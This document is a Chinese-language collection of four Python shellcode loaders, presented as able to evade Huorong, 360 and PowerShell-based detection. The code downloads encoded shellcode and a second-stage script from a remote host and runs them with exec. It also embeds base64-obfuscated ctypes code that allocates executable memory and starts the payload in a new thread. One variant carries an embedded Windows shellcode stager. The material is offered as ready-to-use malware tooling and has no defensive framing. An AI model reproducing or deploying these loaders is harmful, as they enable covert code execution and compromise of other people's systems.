常用过火绒，360，powershell加载器

1.

import ctypes
import base64
import requests
#shell需要先进行base64加密，再进行hex加密
code = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(code.text).decode('hex'))
load = requests.get("http://192.168.1.1/11.txt")
exec(base64.b64decode(load.txt))

#11.txt
#b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK'

2.

import ctypes
import base64
import requests
#shell需要先进行base64加密，再进行hex加密
code = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(code.text).decode('hex'))

func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')

exec(func)

3.

import ctypes
import base64
 
shellcode = b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpezH/6ZEBAADpyQEAAOhvL3RvQTgASxAMkZ+p7ep37I5nZavvutF74mh+EO6iWE1whnPY00prahcR88l6BRlQ2tZ2qYMonaSnUv2sS3XsZwgHjmoy9lJ2rFBHafwqBwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCgCx3pAWxJuOeBTHzyZoplYk5qGRd07sBDs1gKBLLqc31JKXE2Bg+u7zdbPzmb2d0o1ANOKDkOM7e/VFoExzSG4OT6aTL94KFI++kBzdhpngI2PRdk0NHxRk+3eCRZJMbt2wFm7ybK5GeHIil8J4FzH9EVDzDz35cuubp4MqOYiIgnQg3c4igbKiGXMYn1nOqhhfkn2VcWgXnyzjk2Ym0RaUP/dsb6bFfsIqN/JwQxTJ8BTOVX6JODn+XHWRnIWCIjrwyN0bhL9kbO46YIe7ZqOhDxQm4vwAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zEwMS4xMzIuMTkzLjM3ABI0Vng='
 
shellcode=base64.b64decode(shellcode)
 
func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')
 
exec(func)

4.替换Cndpc2VaRVJsZCA9。。。。。。。。。

Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSxjdHlwZXMuY19pbnQoMHgzMDAwKSxjdHlwZXMuY19pbnQoMHg0MCkpO2J1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKTtoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp